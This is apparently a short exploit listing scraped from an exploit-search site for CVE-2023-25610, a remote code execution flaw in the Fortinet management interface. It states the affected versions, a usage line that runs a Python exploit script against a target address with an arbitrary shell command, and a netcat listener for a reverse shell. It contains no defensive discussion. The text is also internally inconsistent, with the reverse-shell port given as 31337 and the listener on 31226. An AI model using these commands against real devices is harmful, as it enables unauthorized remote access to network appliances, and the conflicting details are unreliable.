Exploit for Buffer Underflow in Fortinet Fortiweb

## https://sploitus.com/exploit?id=76B7057A-7383-50C9-AE93-8211298C01F0
# CVE-2023-25610

Insufficient heap memory in the FortiOS management interface allows for remote code execution. # Scope and limitations

1. Fortinet 6.x
2. Based on TLSv1.3; differences may exist for other TLS versions

# Usage

python3 CVE-2023-25610.py 192.168.10.1 8443 10.10.1.1 'ls -la /'

# Listener

The EXP exploit uses a Python command to set up a reverse-shell on port 31337.

```
nc -lvnp 31226
```